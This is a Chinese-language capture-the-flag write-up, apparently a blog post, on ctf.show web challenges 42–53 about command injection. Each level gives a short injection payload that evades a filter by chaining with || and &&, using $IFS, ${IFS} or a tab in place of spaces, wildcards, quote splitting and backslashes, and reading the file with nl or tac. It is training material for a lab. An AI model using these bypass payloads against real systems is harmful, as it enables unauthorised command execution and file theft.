1. 程式人生 > 其它 >ctf_show-web入門-命令執行(42-53)

ctf_show-web入門-命令執行(42-53)

WEB42

>是寫入

而1和2意思百度一下:

那麼就是不管標準輸出還是錯誤輸出都輸入到null裡銷燬

構造兩個語句即可繞過

c=cat flag.php;ls

WEB43

過濾了;和cat 其他同上一題

過濾分號用&&或||代替 注意url別直接輸入&要轉碼

cat能代替的一大堆

c=more flag.php||ls

WEB44

同上 繼續過濾了flag

可以用萬用字元代替

c=more f*||ls

WEB45

同上 繼續過濾了空格

可以用$IFS代替

c=tac$IFS*||ls

WEB46

過濾了數字$ 和 *

可以用%09(tab)代替空格

*用 ???????代替

c=tac%09????????||

WEB47

繼續過濾一些輸出 tac沒過濾

同上web46

c=tac%09????????||

WEB48

繼續過濾一些輸出 tac沒過濾

同上web46

c=tac%09????????||

WEB49

同上web46

c=tac%09????????||

WEB50

過濾了%09,空格可以用<代替

不知道為啥這裡?沒用,可以在flag之間加’ ‘ 繞過

c=tac<fl''ag.php||

WEB51

這裡tac也過濾了,可以用nl

c=nl<fl''ag.php||

WEB52

繼續過來了 <>

但是$過濾,用${IFS}

貌似單用$IFS後面要加\

另外\ 單寫可以隨便插入指令中繞過一些檢查

發現這裡沒flag

猜測在根目錄

果然

c=nl${IFS}/fla\g||

WEB52

這裡執行方式變了,先是system執行c

在輸出結果到前端程式碼

先ls

c=nl${IFS}fla\g?php